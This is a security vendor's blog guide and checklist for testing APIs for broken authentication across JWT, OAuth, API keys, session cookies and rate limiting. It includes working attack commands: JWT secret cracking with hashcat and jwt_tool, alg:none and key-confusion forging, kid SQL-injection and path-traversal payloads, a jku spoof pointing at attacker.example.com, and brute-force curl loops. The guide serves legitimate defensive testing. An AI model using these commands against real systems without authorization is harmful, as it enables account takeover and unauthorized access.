Blog
AppSec Blog

How to find weak authentication in APIs

 - 
July 14, 2026

Most API authentication failures are caused by authentication mechanisms that are present but broken. A token is issued, a secret is set, a flow is wired up, and everything runs and looks correct until someone tests it properly. 

This guide and checklist covers the full detection methodology for broken API authentication: how to find unauthenticated endpoints that should be protected, how to test each authentication method for mechanism-specific weaknesses, and how to verify that controls are actually enforced – not merely present in the code.

You information will be kept Private
Table of Contents

Authentication is supposed to be the first line of defense for any API. In practice, it’s often the first thing that fails. Wallarm’s analysis of 60 API breaches disclosed in 2025 found that broken authentication was the leading cause, responsible for 52% of incidents. Of the API vulnerabilities published that year, 59% required no authentication at all to exploit – the endpoint was simply open.

But the headline number understates the full problem. APIs that require authentication and implement it incorrectly are often harder to detect than APIs with no authentication at all. If you have “supersecretjwt” set as your JSON Web Token (JWT) signing key, it may look like authentication is working – tokens are issued, tokens are validated, the system appears secure. Until a security tester (or malicious attacker) cracks the signing key in seconds using an offline dictionary attack, forges an admin token, and calls every endpoint in the system with a valid identity they constructed from scratch.

Invicti’s own security research into AI-generated web applications found exactly this pattern at scale: weak, predictable JWT signing secrets – values like supersecretjwt, supersecretkey, and jwt_secret – appeared repeatedly across over 20,000 vibe-coded apps, reused verbatim from LLM training data. If that goes into prod, what looks like authentication is merely a formality.

Authentication weaknesses in APIs span multiple mechanisms, including: 

  • JWT implementations with crackable secrets or algorithm confusion vulnerabilities
  • OAuth flows that accept reused authorization codes or bypass PKCE requirements
  • API keys without rate limiting or scope enforcement
  • Session tokens without proper lifecycle controls
  • Missing authentication on specific endpoints that were assumed to be unreachable. 

This guide covers the complete detection methodology across all of them – complementing the BOLA detection and authenticated API testing guides in this blog series. If you’re looking for the full checklist, you can skip ahead.

Broken API authentication (API2:2023 in the OWASP API Security Top 10) occurs when an API fails to properly verify the identity of the entity making a request. This can be caused by having no authentication requirement on endpoints that should be protected or by implementing authentication mechanisms with exploitable weaknesses such as weak signing secrets, missing token expiry, algorithm confusion, OAuth flow vulnerabilities, the absence of rate limiting, or credential validation bypasses. Testing for broken API authentication requires testing each authentication method used by the API for mechanism-specific weaknesses, not just verifying that a token is nominally required.

Prerequisites: Mapping the authentication surface

Before testing any mechanism, you need to understand what authentication methods your API uses and where. Modern APIs frequently deploy multiple mechanisms simultaneously – typically JWT for user-facing endpoints, API keys for service-to-service calls, OAuth for third-party integrations, and session cookies for web-application-backed endpoints. 

Identify all authentication mechanisms in use

Document every authentication mechanism before you run a single test:

  • Review the OpenAPI/Swagger specification: Look for securitySchemes and security sections that document the intended authentication mechanisms per endpoint.
  • Capture a full authenticated session: Using an intercepting proxy, capture all HTTP requests during normal authenticated application usage and record the authentication mechanism for each request – the Authorization header format, cookie names, and API key header names.
  • Check for mixed authentication endpoints: Some APIs apply authentication globally in the spec but allow individual endpoints to override it, which may lead to gaps.
  • Look for versioned API differences: Older API versions (/v1/) often use different – and weaker – authentication than current versions (/v2/). This is one of the most reliable places to find authentication regressions.

Map unauthenticated endpoint exposure

Before mechanism-specific testing, run a baseline: test every documented endpoint without any authentication credentials.

# Baseline unauthenticated test with no Authorization header, no cookies, no API key
GET /api/v1/users/profile

# Expected: 401 Unauthorized
# Authentication weakness confirmed if: 200 OK with data returned

This test is the quickest to run and, given that over half of API vulnerabilities in 2025 required no authentication to exploit, often the most productive. Run it against every endpoint in the inventory before proceeding to mechanism-specific testing.

Testing JWT authentication weaknesses

JWT is the most commonly used authentication mechanism in modern APIs and has the richest weakness taxonomy. JWT weaknesses span weak signing secrets, algorithm confusion, header parameter injection, broken token lifecycle management, and exploitable claim structures – each requiring a distinct test approach.

Detection of weak signing secrets

A JWT is signed using a secret key. If that secret is weak or predictable – “secret”, “password”, “supersecretjwt”, the application name, the framework default – it can be cracked offline using a dictionary attack against the captured token. No network access to the target is required once you have the token.

Invicti’s analysis of over 20,000 AI-generated web applications found this pattern at scale: LLMs repeatedly reuse JWT signing secrets from their training data, producing values like supersecretjwt and supersecretkey across thousands of independently generated apps. Any of these applications would be cracked in seconds.

Testing approach for weak secrets:

  1. Obtain a valid JWT token from the application (log in with a test account and capture the token).
  2. Decode the JWT header and payload (use jwt.io or base64 -d on the header and payload segments).
  3. Identify the signing algorithm from the header (alg claim – typically HS256, HS384, or HS512).
  4. Run an offline dictionary attack against the HMAC signing secret using one of the popular tools:
# Using hashcat for HS256 JWT cracking
JWT_TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjMiLCJyb2xlIjoidXNlciJ9.signature"

# Crack with a common password wordlist
hashcat -a 0 -m 16500 "$JWT_TOKEN" /usr/share/wordlists/rockyou.txt

# Alternative: jwt_tool
python3 jwt_tool.py "$JWT_TOKEN" -C -d /usr/share/wordlists/rockyou.txt

If the secret cracks, an attacker would be able to forge valid JWTs with any claims, including "role": "admin". This is a critical finding that confirms full authentication bypass.

Algorithm confusion attacks

Some JWT libraries accept alg: none as a valid algorithm, meaning they will process a token with no signature at all. Others can be confused into accepting a different signing algorithm than the one the server intends to use.

The two variants to test are:

  • The alg:none attack: Modify the JWT header to set "alg": "none", remove the signature segment, and submit the resulting token (header.payload. with a trailing dot). If the API accepts it, no signature is required.
  • The RS256-to-HS256 confusion attack: If an API uses RS256 (asymmetric signing with a private key), some libraries can be tricked into accepting a token signed with the public key treated as an HS256 symmetric secret. Since the public key is often publicly accessible, this allows valid tokens to be forged without knowing the private signing key.

Testing this using jwt_tool is straightforward:

# Using jwt_tool for algorithm confusion testing
# Test alg:none
python3 jwt_tool.py "$JWT_TOKEN" -X a  
# Test RS256 -> HS256 key confusion
python3 jwt_tool.py "$JWT_TOKEN" -X k -pk public_key.pem    

The -X k flag requires the server’s public key file. Retrieve it from the application’s JWKS endpoint (typically /.well-known/jwks.json) or the spec, convert it to PEM format, and pass it with -pk

Note that -X k (key confusion) is distinct from -X s (JWKS spoofing), which attempts to serve a forged JWKS endpoint and requires additional infrastructure – that attack class is covered next.

kid (key ID) parameter injection and JWKS spoofing

Two further attack classes target JWT header parameters that libraries use to look up signing keys, rather than the signing algorithm itself.

kid (key ID) injection

The kid header parameter tells the server which key to use for signature verification. If the application passes the kid value unsanitized into a database query or file lookup, it becomes an injection surface. Common attack variants include SQL injection ("kid": "' OR 1=1--") and path traversal ("kid": "../../dev/null" or "kid": "/dev/null" – pointing to an empty or predictable file as the signing key, then signing the forged token with an empty string or known content).

# Test kid path traversal with jwt_tool
python3 jwt_tool.py "$JWT_TOKEN" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# Signs a forged token using an empty string as the HS256 secret,
# with kid pointing to /dev/null – accepted if the library reads the kid path literally

JWKS spoofing (JKU/X5U header injection)

Some libraries fetch the signing key from a URL specified in the JWT header itself (jku or x5u claims). If the library doesn’t validate that the URL belongs to a trusted domain, an attacker can point it to an attacker-controlled JWKS endpoint serving a forged key, then sign a token with the corresponding private key:

# Test JKU header injection with jwt_tool
python3 jwt_tool.py "$JWT_TOKEN" -X s -ju "https://attacker.example.com/jwks.json"
# Serves a forged JWKS at the specified URL; jwt_tool generates the key pair

Both attacks require the library to trust attacker-supplied header values without validation – a configuration error rather than an algorithmic flaw, but one that remains common in frameworks that implement JWT support permissively.

Token lifecycle and revocation testing

Test whether expired tokens are rejected and whether logout actually invalidates tokens server-side:

# Test 1: Expired token acceptance
GET /api/v1/profile
Authorization: Bearer [EXPIRED_TOKEN]
# Expected: 401 Unauthorized
# Weakness: 200 OK means expired tokens are accepted

# Test 2: Post-logout token validity
POST /api/v1/logout
Authorization: Bearer [VALID_TOKEN]
→ 200 OK (logged out)

GET /api/v1/profile
Authorization: Bearer [SAME_TOKEN_FROM_BEFORE_LOGOUT]
# Expected: 401 Unauthorized
# Weakness: 200 OK means logout doesn't revoke tokens server-side

If you’ve cracked or forged a signing secret, also test claim manipulation: change "role": "user" to "role": "admin", escalate "userId" to a privileged account, or extend the "exp" claim into the future. Each of these confirms a distinct exploitable condition.

Testing OAuth 2.0 authentication weaknesses

OAuth 2.0 introduces a complex multi-step flow with several distinct places where implementation errors create exploitable weaknesses. Test each one independently.

Authorization code reuse

Authorization codes should be strictly single-use. After a code is exchanged for an access token, attempting to reuse the same code should return an error. A basic reuse testing flow might be:

# Step 1: Complete normal OAuth flow, capture the authorization code
GET /oauth/callback?code=AUTH_CODE_123&state=xyz

# Step 2: Exchange code for token (normal flow)
POST /oauth/token
grant_type=authorization_code&code=AUTH_CODE_123&redirect_uri=...
→ 200 OK with access_token

# Step 3: Test code reuse
POST /oauth/token
grant_type=authorization_code&code=AUTH_CODE_123&redirect_uri=...
# Expected: 400 Bad Request ("code already used")
# Weakness: 200 OK with a new access token means codes are reusable

PKCE enforcement for public clients

For public clients such as mobile applications and single-page applications (SPAs), PKCE prevents authorization code interception attacks. Test whether it’s actually enforced:

# Attempt authorization without code_challenge
GET /oauth/authorize?response_type=code&client_id=PUBLIC_CLIENT&redirect_uri=...
# (no code_challenge or code_challenge_method parameters)

# Expected: 400 Bad Request (PKCE required for public client)
# Weakness: authorization code returned without PKCE enforcement

State parameter validation

The OAuth state parameter prevents cross-site request forgery (CSRF) attacks on the authorization flow. Test whether it’s validated by initiating a flow, capturing the state value, then completing a second flow with the state parameter modified or omitted. If the callback accepts a modified state, the CSRF protection is absent.

Token scope enforcement

Test whether access tokens actually enforce their stated scope:

# Request a read-only token
POST /oauth/token
scope=read

# Test whether the read-only token can perform write operations
PUT /api/v1/user/profile
Authorization: Bearer [READ_ONLY_TOKEN]
Content-Type: application/json
{"name": "Modified Name"}

# Expected: 403 Forbidden
# Weakness: 200 OK means scope restrictions aren't enforced at the resource level

Also test refresh token rotation: after using a refresh token to obtain a new access token, the refresh token should be invalidated. If it can be used again, rotation isn’t implemented.

Testing API key authentication weaknesses

API keys are the simplest authentication mechanism and have a straightforward set of testable weaknesses.

API key predictability testing

If API keys follow a predictable pattern – sequential values, short alphanumeric strings, or values based on user IDs or timestamps – they can be guessed without brute-forcing the full key space. Collect several legitimately issued keys and inspect them for structure: fixed-length patterns, sequential suffixes, base64-encoded identifiable data, or correlations with other parameters returned by the API:

# Collect multiple API keys issued across different accounts and compare
# Look for: sequential suffixes, timestamp components, short entropy, shared prefixes
key_1="sk_live_abc001"
key_2="sk_live_abc002"
key_3="sk_live_abc003"
# Sequential pattern – key space can be enumerated

Rate limiting on key submission endpoints

Rate limiting is a separate concern from predictability: even a high-entropy key can be brute-forced eventually if the endpoint accepts unlimited requests. Test whether the API enforces a 429 response under rapid key submission volume, regardless of whether the key values are structured:

# Test rate limiting by sending a fixed (invalid) key at volume
# We're checking for 429 responses, not testing key guessability
for i in $(seq 1 200); do
  HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "X-API-Key: invalid_key_test" \
    https://api.example.com/endpoint)
  echo "Attempt $i: HTTP $HTTP_STATUS"
done
# Expected: 429 Too Many Requests after N attempts
# Weakness: continuous 401 or 403 responses with no rate limiting

Scope testing

Test whether API keys issued with restricted permissions can access resources outside their intended scope – the same test as OAuth scope enforcement, applied to API key-based authorization.

Transmission security

  • Check whether API keys appear in URL query strings (e.g., ?api_key=...). Query strings are logged by proxies and web servers, which means keys transmitted this way are routinely captured in server logs.
  • Verify that API key endpoints enforce HTTPS.
  • Test whether the API key appears in error messages, debug output, or any API response body.

Testing session token and cookie authentication

Web-application-backed APIs often use session cookies. The testable weakness set covers both the security of the tokens themselves and the attributes on the cookies that carry them.

Session token predictability

Capture multiple sequential session tokens from separate logins and analyze them for patterns: sequential suffixes, timestamp-based components, or identifiable structure. Predictable session tokens can be guessed or enumerated without knowing the signing secret:

# Capture multiple sequential session tokens after separate logins
# Analyze for patterns, sequential IDs, or timestamp-based generation
tokens = [
    "sessionid_abc123_1704067200",
    "sessionid_abc124_1704067201",
    # Sequential suffixes indicate predictable token generation
]

Cookie security attribute testing

Inspect the Set-Cookie headers returned on authentication responses:

# Missing security attributes to flag:
Set-Cookie: session=abc123; Path=/
# - No HttpOnly: JavaScript can read the session cookie (XSS escalation path)
# - No Secure: cookie transmits over unencrypted HTTP
# - No SameSite: CSRF attacks possible
# - No expiry: session persists indefinitely

# Correct baseline:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600

Session fixation testing

Test whether the application issues a new session token after authentication or reuses the pre-authentication token:

  1. Obtain a session token before authentication (visit any pre-login page that sets a session cookie).
  2. Authenticate using that session.
  3. Check whether the post-authentication response issues a new session token or reuses the pre-authentication one.

Session fixation is confirmed if the same token from before authentication is still valid after authentication. An attacker who can supply a victim with a known session token – through a cookie-setting vulnerability, a shared environment, or other means – and then wait for the victim to authenticate will inherit a fully authenticated session.

Testing rate limiting and brute-force protection

Rate limiting on authentication endpoints is the primary defense against credential stuffing and brute-force attacks – and is frequently absent or inconsistently applied across login, refresh, and password reset endpoints.

Login rate limiting

# Test rate limiting on the login endpoint
for i in $(seq 1 100); do
  HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST https://api.example.com/auth/login \
    -H "Content-Type: application/json" \
    -d '{"username":"test@example.com","password":"wrong_password_'$i'"}')
  echo "Attempt $i: HTTP $HTTP_STATUS"
done
# Expected: 429 Too Many Requests after N attempts
# Weakness: continuous 401 Unauthorized responses indicate no rate limiting

Per-IP vs. per-account rate limiting

Test whether rate limiting is enforced per-IP address, per account identifier, or both:

  • Per-IP only: attacks can be distributed across multiple IP addresses to bypass the limit.
  • Per-account only: attackers can rotate through different target accounts to bypass limiting.
  • Robust implementation: rate limiting on both dimensions simultaneously.

Token refresh rate limiting

Test whether the token refresh endpoint is separately rate-limited. Refresh endpoints are frequently less well-protected than login endpoints because they don’t involve credential submission – but they are equally valuable to attackers who have obtained a refresh token:

o

POST /auth/refresh
{"refresh_token": "REFRESH_TOKEN"}

Finding missing authentication on specific endpoints

Beyond the baseline unauthenticated sweep, three techniques reliably surface authentication gaps that a simple credential-strip test misses.

API version authentication downgrade

Test whether older API versions lack authentication controls that are enforced in current versions:

# Current version (authenticated required)
GET /api/v2/users/profile
Authorization: Bearer TOKEN
→ 200 OK

# Older version – test without credentials
GET /api/v1/users/profile
# No Authorization header
→ Expected: 401 Unauthorized
→ Weakness: 200 OK returned

Many APIs maintain older versions for backward compatibility without applying the same security controls. This is one of the most consistent sources of authentication gaps in mature API environments.

HTTP method authentication gaps

Test whether authentication is consistently enforced across all HTTP methods on a given endpoint:

# Authenticated endpoint for GET
GET /api/v1/documents/123
Authorization: Bearer TOKEN
→ 200 OK

# Test POST to same endpoint without authentication
POST /api/v1/documents/123
# No Authorization header
→ Expected: 401 Unauthorized
→ Weakness: 200 OK (authentication enforced per-method, not per-resource)

Non-standard paths and format variations

Test authentication enforcement with path and format variations:

# Standard path (authentication enforced)
GET /api/v1/users/me

# Variations to test without authentication:
GET /api/v1/users/me.json
GET /api/v1/users/me;foo=bar
GET /api/v1/users/me%2f
GET /API/v1/users/me

Path normalization inconsistencies can bypass authentication middleware that checks the exact path string without normalizing it first. The middleware blocks /api/v1/users/me; the application routes /api/v1/users/me.json to the same handler without passing through the middleware.

Automated authentication testing with Invicti

Manual testing can cover the authentication surface systematically, but it can’t scale across hundreds of endpoints and continuous deployment cycles. Invicti’s API security testing automates authentication testing as part of API-aware dynamic application security testing (DAST) across known and discovered endpoints – including endpoints surfaced through API discovery that may not appear in any specification or manual inventory. API endpoints can be automatically tested without credentials as a baseline to confirm whether they return protected data before any mechanism-specific checks run. 

Beyond the unauthenticated baseline, available security checks include:

  • JWT weakness detection: Identifies JWTs in responses and cookies and tests for a broad range of implementation weaknesses. These include weak or guessable signing secrets, signature validation absence, alg:none bypass, and header parameter injection attacks including kid path traversal, kid SQL injection, and unvalidated jku, jwk, x5u, and x5c parameters.
  • OAuth-authenticated scanning: Supports all four OAuth 2.0 grant types (client credentials, authorization code, implicit, and password) plus non-standard flows, with dynamic token rotation and session re-authentication.
  • Cookie vulnerability detection: Identifies user-controllable cookie vulnerabilities and tests cookie and header behavior across the scan session.
  • Session loss detection and re-authentication: Detects when a session is invalidated mid-scan and automatically re-authenticates to maintain coverage.

Every confirmed finding includes proof-based evidence in the form of the specific request that demonstrated the weakness and the response that confirmed exploitation – not probable flags. For more complex or sensitive gaps listed in this guide, such as RS256-to-HS256 key confusion, OAuth scope enforcement, or the absence of rate-limiting, human-directed testing remains necessary. Automated API DAST scanning handles the systematic baseline that manual effort alone can’t sustain at scale.

API authentication testing checklist

Use this checklist as a quick reference during assessments and as a coverage verification tool after testing. Each item maps to a specific test case in the methodology above.

Mechanism What to test What failure looks like
Missing authentication Baseline credential-strip test across all endpoints 200 OK with data returned instead of 401/403
Older API versions tested for authentication regression Unauthenticated access succeeds on /v1/ where /v2/ requires credentials
HTTP method variations on authenticated endpoints POST/PUT/DELETE succeeds without credentials where GET requires them
Path variations and normalization bypasses (.json, %2f, case) Variant path returns protected data without authentication
JWT Weak or guessable signing secret (dictionary attack) Secret cracks offline; arbitrary token forgery possible
alg:none – signature requirement absent Unsigned token accepted
RS256-to-HS256 key confusion (-X k with public key) Forged token signed with public key accepted
kid path traversal Token signed with empty string or known file content accepted
kid SQL injection Injected SQL in kid parameter accepted
Unvalidated jku or x5u parameter External JWKS URL accepted; attacker-supplied key trusted
Unvalidated jwk or x5c parameter Inline attacker-supplied key accepted
Expired token acceptance Token past exp returns 200
Token not invalidated after logout Token from before logout still returns 200
Claim manipulation with forged signature Modified role or userId claim accepted
OAuth 2.0 Authorization codes are single-use Second exchange of same code returns a new token
PKCE enforced for public clients Authorization code issued without code_challenge
State parameter validated Modified or omitted state accepted by callback
Token scope enforced at resource level Read-only token can perform write operations
Refresh tokens rotate after use Same refresh token accepted after rotation
API keys Keys inspected for predictable patterns or low entropy Sequential suffixes, timestamp components, or short key space
Rate limiting on key submission endpoints No 429 after sustained request volume
Scope restrictions enforced Restricted key can access out-of-scope resources
Keys not transmitted in URL query strings ?api_key= present in logged requests
Keys not exposed in error messages or response bodies Key value visible in any API output
Session tokens & cookies Tokens are randomly generated (not sequential or timestamp-based) Pattern detectable across multiple issued tokens
Token rotated after authentication Pre-login token still valid post-login
HttpOnly flag set on session cookies Cookie readable by JavaScript
Secure flag set on session cookies Cookie transmits over HTTP
SameSite attribute set appropriately Cookie sent on cross-site requests
Session invalidated server-side after logout Token from before logout still returns 200
Rate limiting Login endpoint rate-limited per IP Sustained attempts return 401, not 429
Login endpoint rate-limited per account Per-IP limit bypassable by rotating source addresses
Token refresh endpoint rate-limited No 429 on rapid refresh attempts
Rate limiting returns 429, not just auth failure 401/403 returned at volume instead of 429

Conclusion: Find authentication weaknesses before the attackers do

The authentication surface of a modern API isn’t a single mechanism to verify – it’s a stack of them, and a weakness in any one is enough. A crackable JWT secret undermines every endpoint the token grants access to. A missing rate limit on a login endpoint turns credential stuffing from a theoretical risk into an overnight attack. An OAuth flow that accepts reused authorization codes hands attackers a window that stays open long after the legitimate user has moved on.

The methodology above covers all of it – but coverage only counts if it keeps pace with the API itself. New endpoints, versioned releases, and third-party integrations all introduce fresh authentication surface. Manual testing handles the nuanced cases, while automated scanning maintains a continuous baseline.

Next steps

  • Run the checklist against your current API inventory – the section on missing authentication and missing rate-limiting tend to surface findings fastest.
  • Read our BOLA detection guide and BOLA vs. BFLA comparison to learn more about the most common authorization weaknesses exposed behind broken authentication.
  • Learn about API discovery methods to find endpoints that are missing from your inventory.
  • Request a demo to see proof-based API DAST in action across your full endpoint inventory.

Frequently asked questions

Frequently asked questions about weak API authentication

What is weak authentication in an API?

Weak API authentication occurs when an API fails to properly verify the identity of the entity making a request – either because endpoints have no authentication requirement at all, or because the authentication mechanism in place has exploitable weaknesses: crackable JWT signing secrets, algorithm confusion, OAuth flow vulnerabilities, missing rate limiting, or credential validation bypasses. Covered by API2:2023 in the OWASP API Security Top 10, it’s consistently the leading cause of API breaches. Testing for it requires examining each mechanism the API uses for mechanism-specific weaknesses, not just confirming that a token is nominally required.

How do you test for JWT authentication weaknesses?

JWT testing covers several distinct attack classes, each requiring a different technique. Weak signing secrets are tested using offline dictionary attacks (hashcat or jwt_tool) against a captured token – no network access required. Algorithm confusion tests whether the library accepts alg:none (no signature at all) or can be tricked into accepting an RS256 token re-signed with the public key as an HS256 secret. Header parameter injection tests whether the kid claim is vulnerable to path traversal or SQL injection, and whether external key references via jku, jwk, x5u, or x5c parameters are validated against a trusted domain. Token lifecycle testing confirms that expired tokens return 401 and that logout invalidates tokens server-side rather than just client-side.

How do you test OAuth 2.0 authentication flows for security weaknesses?

The five things to test are: whether authorization codes are strictly single-use; whether PKCE is enforced for public clients (mobile apps and SPAs) – the most commonly skipped control; whether the state parameter is validated to prevent CSRF on the callback; whether access tokens enforce their stated scope at the resource endpoint, not just at issuance; and whether refresh tokens are invalidated after rotation. Each is an independent test – a flow can pass four and fail one.

How do you test API key authentication security?

The four areas to cover are predictability, rate limiting, scope enforcement, and exposure. Predictability testing involves collecting several legitimately issued keys and inspecting them for sequential patterns, timestamp components, or short entropy. Rate limiting is tested by sending a fixed invalid key at volume and checking whether the endpoint returns 429. Exposure testing checks whether keys appear in URL query strings (where they land in server logs), error messages, or API response bodies.

What OWASP category covers broken API authentication?

Broken API authentication is API2:2023 in the OWASP API Security Top 10. It covers missing authentication on endpoints, weak mechanism implementations (JWT, OAuth, API keys, session tokens), token lifecycle failures, and missing brute-force protections. It’s distinct from API5:2023 (broken function level authorization), which covers what an authenticated identity is permitted to do – the authorization failures that often sit directly behind a broken authentication weakness.

Can automated scanners detect API authentication weaknesses?

Yes, for specific weakness classes. Invicti tests every discovered endpoint without credentials as a baseline, and includes named checks for JWT weaknesses including weak signing secrets, signature validation absence, alg:none bypass, and header parameter injection via kid, jku, jwk, x5u, and x5c. OAuth-authenticated scanning is supported across all four grant types with dynamic token rotation. RS256-to-HS256 key confusion, expired token acceptance, OAuth scope enforcement, and rate-limiting absence require human-directed testing – these involve attack logic that goes beyond what dynamic scanning can replicate automatically.

Table of Contents